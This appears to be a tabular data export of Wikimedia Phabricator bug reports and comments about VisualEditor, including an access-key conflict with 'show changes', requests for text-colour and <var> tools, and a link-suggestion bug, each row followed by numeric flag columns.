+I’d rather not change a conflicting access key to another conflicting one. The idea of @jhsoby seems better to me, although it doesn’t fix all conflicts either: filtering out `edit` and `submit` would fix this task, filtering out `history` would help fixing T26977, but there’s no way to fix T335652 with this approach, as both access keys should be available in read view.",,,1682937197,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,513,,1,0,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+2062821,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","What about using`E` as accesskey for visual__**E**__ditor? From Read view, it opens wikitext editor. Pressing once again, it would switch to VisualEditor.",,,1675606822,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,500,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+1896176,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",Would it be possible to just disable the VE accesskey if the `wgAction` is `edit` or `submit`?,,,1649588052,,PHID-USER-jqjb54lbf7psat6shbcc,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,457,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+1566779,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Additionally https://www.mediawiki.org/wiki/Extension:FlaggedRevs add one more tab ""Pending changes"" which is also assigned ""v"" key. Any but unique replacement for short keys will be more convenient to activate instantly.",,,1598121058,,PHID-USER-fhwkrjgsdwt5sqn3xaq7,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,372,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0
+1566778,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Additionally ruWP has one more tab ""Pending changes"" which is also assigned ""v"" key in https://www.mediawiki.org/wiki/Extension:FlaggedRevs . Any but unique replacement for short keys will be more convenient to activate instantly.",,,1598120799,,PHID-USER-fhwkrjgsdwt5sqn3xaq7,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,372,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0
+1566777,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Additionally ruWP has one more tab ""Pending changes"" which is also assigned ""v"" key in https://www.mediawiki.org/wiki/Extension:FlaggedRevs",,,1598120539,,PHID-USER-fhwkrjgsdwt5sqn3xaq7,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,372,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0
+1451132,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","@AhmadF.Cheema reports problems with this in detail at https://www.mediawiki.org/wiki/Topic:Veyo7xqvss4jz8d8
+
+Also, {T156141} seems similar.",,,1582684702,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,347,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0
+670972,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Yes Ed, but only when you're on the content page.",,,1464613495,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,152,,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+636739,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",alt+shift+v appears to launch VE now we have editor switching (from duplicate T130899),,,1459265003,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,True,,,143,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+249687,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","(In reply to Lejonel from comment #4)
+> In other namespaces focus is always on ""show changes""
+> button, but the shortcut does not actually click the button. That is because
+> the HTML still contains a hidden ""visual edit"" tab with the same shortcut.
+
+This is changing (bug 64142)",,,1400371890,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,True,,,45,,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+249680,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","**dng032** wrote:
+
+Results of testing in Wikipedias about a week ago:
+
+(""Positions"" means that focus changes to the ""Show changes"" button, but does not actually show the changes)
+
+Catalan : positions
+German : shows dif
+French : positions
+Greek : positions
+English : shows dif
+Spanish : shows dif
+Hungarian : positions
+Italian : warns about not saving
+Japanese : shows dif
+Portuguese : positions
+Russian : positions
+Simple English : positions
+Chinese : shows dif
+
+Sorry for being late to react and for not retesting recently. ~~~~",,,1398663027,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+249673,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Maybe Visual editor does not need an access key while the normal editor is used? Then one possible solution is to just remove 'v' as access key for visual editor when using the normal wiki editor.
+
+I think removing the access key there should not cause any problems for most users, for two reasons:
+
+1. Since currently ""show changes"" in wiki editor has the same acces key, neither of the access keys work as they should.
+2. In most use cases for Visual editor a user starts visual editting when they are seeing an actual page, not when they are looking at the page in the wiki editor.",,,1397937991,,PHID-USER-axibsactcdotqkfh3mfe,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,41,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1
+249666,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",*** Bug 52969 has been marked as a duplicate of this bug. ***,,,1397676026,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,True,,,41,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+249659,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",Suggestions for a different shortcut for VisualEditor (or show changes) welcome.,,,1397675426,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249653,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","This is because the same shortcut is used for multiple actions in the same page. 
+
+For me in Firefox in namespaces with visual editor enabled pressing alt+shift+v once focuses on the ""show changes"" button, pressing again focus on ""visual edit"" tab"" and further key pressing just changes the focus between the two. In other namespaces focus is always on ""show changes"" button, but the shortcut does not actually click the button. That is because the HTML still contains a hidden ""visual edit"" tab with the same shortcut.",,,1377281265,,PHID-USER-axibsactcdotqkfh3mfe,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+249651,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","**dng032** wrote:
+
+(In reply to comment #2)
+> This is definitely related to VisualEditor - the shortcut works when
+> VisualEditor is disabled (Safari on Mac 6, Firefox 23 on Linux) and in
+> Konqueror on Linux which VE is not enabled for.
+> 
+> Changing component to VisualEditor accordingly
+
+jmCor: still Windows 7, Firefox 22.0. The component change did not fix the bug on my machine.",,,1376531065,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+249649,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","This is definitely related to VisualEditor - the shortcut works when VisualEditor is disabled (Safari on Mac 6, Firefox 23 on Linux) and in Konqueror on Linux which VE is not enabled for.
+
+Changing component to VisualEditor accordingly",,,1376338921,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+249647,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","Adding James to the CC as this might be an artefact of VE, even though it affects the source editor.",,,1376130189,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-txrorpbrj6b5ssangri4,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+54664,VisualEditor: Tool to set/unset text as a variable (<var>),"The <var> tag is used in many articles for variables, and there are css styling rules for it. An example article is Shading
+http://en.wikipedia.org/w/index.php?title=Shading
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1376027640,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-rafmsmstj5wsl5tvqzu5,task_description,open,True,c1,3,False,False,,5,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+247437,VisualEditor: Tool to set/unset text as a variable (<var>),"Change 141605 merged by jenkins-bot:
+Split out ve.{dm,ce}.TextStyleAnnotation into parts, add other annotations
+
+https://gerrit.wikimedia.org/r/141605",,,1404154586,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rafmsmstj5wsl5tvqzu5,task_subcomment,,True,c1,3,False,,,52,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247433,VisualEditor: Tool to set/unset text as a variable (<var>),"Change 141605 had a related patch set uploaded by Jforrester:
+Split out ve.{dm,ce}.TextStyleAnnotation into parts, add other annotations
+
+https://gerrit.wikimedia.org/r/141605",,,1403568489,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rafmsmstj5wsl5tvqzu5,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54645,VisualEditor: Tool to set/unset text color,"VisualEditor needs a tool to set/unset font colour.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1375956720,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-iwu723btthb7y2jwtq7u,task_description,open,True,c1,3,False,False,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+2461876,VisualEditor: Tool to set/unset text color,{F57733391},,,1732295481,,PHID-USER-zij24c7higfq2voiyf5y,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,594,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+2262509,VisualEditor: Tool to set/unset text color,"Just an idea on how it may look like (a bit inspired by BlueSpice)
+
+{F41702256}
+
+""Custom color"" click will open a browser tool to select a custom color (browser tool allows to enter html code so no need to have a separate control for that)
+
+End by analogy -- for colorizing table cells:
+
+{F41702286}
+
+This one would change color for the whole cell (not just for background) -- it might be helpful when people create tables and use color as an additional layer of information. For example like in Ubuntu versions table:
+
+{F41702296}
+",,,1705756442,,PHID-USER-37di5uhqpe6nihfhk2xf,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,550,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+2262508,VisualEditor: Tool to set/unset text color,"Just an idea on how it may look like (a bit inspired by BlueSpice)
+
+{F41702256}
+
+""Custom color"" click will open a browser tool to select a custom color (browser tool allows to enter html code so no need to have a separate control for that)",,,1705755713,,PHID-USER-37di5uhqpe6nihfhk2xf,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,550,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+959434,VisualEditor: Tool to set/unset text color,[[ https://www.mediawiki.org/wiki/Topic:U1chcv4o6odr18kt | Here's a new request for this. ]],,,1509959939,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,227,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+246414,VisualEditor: Tool to set/unset text color,"(In reply to Elitre from comment #8)
+> Would we need to file a separate bug for background text color?
+
+Background colour isn't really a thing we want to encourage. :-) That would be a distinct piece of work; created as bug 73041.
+
+If you meant surface colouring for objects like table cells or <div>s, that's another piece of work again - bug 52180	for table cells, possibly that bug will need to be split for the wider work.
+
+If you mean the ""highlight"" / ""mark"" tool, that's yet another one - bug 64376.",,,1415217870,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,70,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+246410,VisualEditor: Tool to set/unset text color,Would we need to file a separate bug for background text color?,,,1415188300,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,70,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+246405,VisualEditor: Tool to set/unset text color,"(Copied from
+https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Textcolor)
+
+Hi there :-)
+Just wondering, why there is no feature for ""coloring Text"". In know, there is a way, to use 'span', but im looking for a feature, with a WYSIWYG-Editor. Any advices, ideas?
+
+Thanks :-)",,,1400881060,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,46,,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+246400,VisualEditor: Tool to set/unset text color,"(In reply to comment #5)
+> I think this will be difficult to implement well. I see two concerns:
+> 
+> * extraneous (noöp) <span>s being left behind in the wikimarkup; and
+
+This is the same as bug 37835 and is trivial for us to trim out.
+
+> * <span>s that specify the color black (bad for accessibility, etc.).
+
+Yes, though we already give people loads of tools that they can (and frequently do) abuse. Technology should serve the community and we should make tools that let them do their job, rather than dictate that they can't do something (or, in this case, that they can but it's hard).
+
+> There may be some generic ""clear formatting"" button/apparatus to be used to
+> mitigate the second point, but I'm still wary.
+
+There's already a ""clear formatting"" button provided - it would apply its magic to this too.",,,1383008984,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,17,,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+246393,VisualEditor: Tool to set/unset text color,"I think this will be difficult to implement well. I see two concerns:
+
+* extraneous (noöp) <span>s being left behind in the wikimarkup; and
+* <span>s that specify the color black (bad for accessibility, etc.).
+
+There may be some generic ""clear formatting"" button/apparatus to be used to mitigate the second point, but I'm still wary.",,,1383008076,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,17,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+246388,VisualEditor: Tool to set/unset text color,"(In reply to comment #2)
+> Any pros/cons of handling this by wrapping colored text in span with
+> appropriate value of style tag?
+
+Yeah, that's what we'll want to do.
+
+We'll want to supply a generic <span> editor (which lets you edit the style=""…"" tag as raw CSS) at some point, but we'd want to do something about colour sooner (and nicer), I think.",,,1376123060,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,5,,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1
+246384,VisualEditor: Tool to set/unset text color,*** Bug 51409 has been marked as a duplicate of this bug. ***,,,1376120681,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246379,VisualEditor: Tool to set/unset text color,Any pros/cons of handling this by wrapping colored text in span with appropriate value of style tag?,,,1376115461,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0
+246371,VisualEditor: Tool to set/unset text color,"Do we want to do this as a general colour-picker widget, possibly?",,,1376115172,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+54634,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,"**Author:** `sandrobt.wiki`
+
+**Description:**
+Here is how to reproduce it, when trying to add a link to the page ""Maria"" on en.wiki.
+
+1) Select the add link icon and type ""maria""
+2) Select ""Maria"", which is at the end of the suggested list
+3) Press Enter or the ""<"" button
+4) Save
+
+The link is added to Mariah Carey (which was on the top of the suggested list).
+Cf. https://en.wikipedia.org/w/index.php?title=User:Sandrobt/prova&diff=prev&oldid=567641122
+
+Note that this doesn't happen if in 2) you had typed ""Maria"" (which is the exact title of the page you want to link to).
+Cf. https://en.wikipedia.org/w/index.php?title=User:Sandrobt/prova&diff=next&oldid=567641169
+
+The same problem appears in similar situations in it.wiki (for example when adding a link to ""Sega"" you need to type it exactly like that, since the first option is always SEGA) 
+
+I'm using Firefox 22.0 on Mac OS X 10.6.8.
+
+--------------------------
+**Version**: unspecified
